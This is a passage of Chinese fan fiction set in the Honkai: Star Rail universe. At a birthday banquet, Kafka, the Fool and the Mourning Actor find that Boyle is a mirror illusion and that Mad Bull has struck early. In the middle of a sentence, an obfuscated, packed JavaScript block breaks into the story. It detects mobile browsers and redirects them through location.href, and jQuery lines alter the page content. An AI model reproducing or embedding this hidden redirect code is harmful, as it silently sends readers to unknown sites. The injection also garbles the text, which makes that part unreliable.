“我就很欣赏。”愚者阴阳怪气地说,“甜食才是一切食物之正宗。你们星核猎手的菜谱就应该被打入星际美食协会的黑名单,简直不是人吃的!上次你们萨姆用不完全燃烧做出来的烤肉残忍毒害我的味蕾的事情我还记着呢。” “你还敢提起吗?我记得你做出来的愚者特供美味跳跳糖齁麻了银狼和刃的舌头。”卡芙卡从容地反唇相讥,指出。 “胡说。”愚者想也不想地去看悼歌,求证说,“忒利斯提斯就觉得不错。” 伶人:“……” 伶人违心地说:“确实不错。” 事实是那颗跳跳糖简直甜得发苦,差点没齁掉伶人的舌头。但在卡芙卡面前伶人决定不拆愚者的台。 “你太惯着他了,悼歌。”卡芙卡说。 他们三个一边溜达一边就食物是咸口更好还是甜口更好,厨艺是萨姆更好还是愚者更好的问题争论了不下一个小时,争论的主力是愚者和卡芙卡,而悼歌则时不时被双方拉去要求评判公道。 在这样的间隙里,这场生日宴终于要正式开幕。 摩根勒菲在一众曼陀罗成员的簇拥下走至高台上向诸位宾客致意,她今日盛装打扮,就像绽放至衰败前夕盛极的繁花,明光照人,美得让人有些不敢直视。 拜勒跟随在她身后左侧的位置,面容肃穆,看不出异样。 实际上,这场生日宴的主角不仅是摩根勒菲,也是他。台上盛装的领袖隆重的向各位宾客介绍这位接班人,而他则神情严肃地挺直脊梁接受各方的打量…… 但正在和卡芙卡激烈辩论的愚者扫眼而过,忽然神情迅速降温。 “他有问题,忒利斯提斯。”愚者快速地说,“台上那个,不是真的拜勒。那是镜像虚影。” “?”伶人迅速看向台上的拜勒,快速敲击自己的拐杖,再一次确认自己的魔曲是否生效—— 答案是没有,但他留下的魔曲也不在那个台上的“拜勒”身上! 伶人的心稍微放下来一些又提起来些许,转向愚者,问:“你能找到真正的拜勒现在在哪里吗?” “……”愚者放下手中的餐盘,简洁地说,“等我五分钟。” 愚者的身形在空中像升华的冰一样消失。 卡芙卡若有所思地看向台上的祖孙,笑着说:“看来好戏要提前开场了。” “……” 此时,摩根勒菲的致辞已然结束。 在宾客们嘈杂的鼓掌声中,星核猎手悠悠微笑,直视着悲悼伶人浅蓝色的眼睛,遮蔽了瞳孔的美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081200|146755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞳使她的眼神空洞而鬼魅。 悼歌问: “您的剧本上有这一环吗?” 卡芙卡摊手:“不。艾利欧的剧本向来简洁。但我可以给你一个提示:从刚才我们一路走来,你有看到公司的人吗?” “公司的人……您是指翡翠和砂金?他们和现在的情况有什么关系——”一瞬间仿佛一道火光划过伶人的头脑,他顿时明白,快速地说,“谢谢您的情报。我有急事,我先走一步。” ———————————————————— 悼歌一边迅速地往摩根勒菲退场后的方向走去,一边喊:“杰斯特。” 愚者的身形再一次显现,他快速地说:“在找了在找了不要催。摩根勒菲的地界我已经翻过来找遍了,那小子不在。” “你找找疯牛的同步轨道庄园。”悼歌说,“……不。你找找疯牛的身边。” 一瞬间伶人诡异地回想起了愚者和他说起过的那个“大只佬终极侮辱”的漫画情节,荒谬又头疼地心想:这情节快要成真一半了!拜勒大概率是被疯牛逮住了——但说不好是他自己送上门去的。 这也意味着疯牛选在这一时刻动手。真是不知该说好还是坏……伶人摩挲着拐杖—— 他和摩根勒菲本以为疯牛会在今日之后动手。因为那时的摩根勒菲的威胁才算降到最低……这个动手的时机的确出乎意料,但并非全然坏事。此刻的摩根勒菲依然处于她能力的顶峰,只是今夜十二点之后就不是如此。 在伶人飞速思考的时候,愚者若有所思地再次消失。 不消半分钟他就又回来了,并且不出意料地带来噩兆: “哎呀。忒利斯提斯,我们之前的乌鸦嘴要成真了。拜勒的确在同步轨道庄园上,他被逮住了。那儿还有一个人:砂金。这家伙和拜勒一起被疯牛绑在电刑椅上,疯牛正在电他们的前列腺呢。我们再晚一点去,疯牛就要把他们都电熟了。” “但是那些都是小事啦。疯牛正在启动亚空晶壁,准备冲向宇宙呢。他就要把伊伊玛尼喀炸成灰溜之大吉咯。” ———————————————————— 摩根勒菲从高台上走下来,走至人烟稀少的后花园,迎面撞见神色匆匆的悲悼伶人。 “悼歌?”摩根勒菲笑着打招呼,正想再说些什么,悲悼伶人就打断了:“摩根女士,您身后的拜勒是镜像虚影。” 摩根勒菲脸上微微浮现出惊讶的神情,她转过头去审视自己的继承人,在那张熟悉的脸上看到同样的惊讶。 “不!我是真的。”拜勒辩解说,“从今天早上开始我就一直和曼陀罗成员待在一起,他们可以为我作证——” “砰”!! 一声消音过后的枪响闷闷地响起。 悲悼伶人收回从拐杖上拔出的枪,冷眼看着他眼前的拜勒额头上出现一个黑洞洞的弹口。 那里面流不出血液,而是像被击中的镜面一点一样,从这一点蔓延出无数裂纹,最终清脆的一声脆响,“拜勒”在摩根勒菲和伶人的注视下化作了一地碎裂的镜片。 周围的曼陀罗成员纷纷惊呼出声。 摩根勒菲神情冰冷地抬手示意人群安静,她的威信依旧不减,周围的人瞬时安静下来,为她让出一块空地。 摩根勒菲微微俯身查看碎裂成一片一片的镜面。 “疯牛提前动手了,他正在启动同步轨道庄园上的亚空晶壁。”悲悼伶人简洁地说,“拜勒现在在同步轨道庄园上。我不清楚他是如何上去的……也许和公司的人有关。”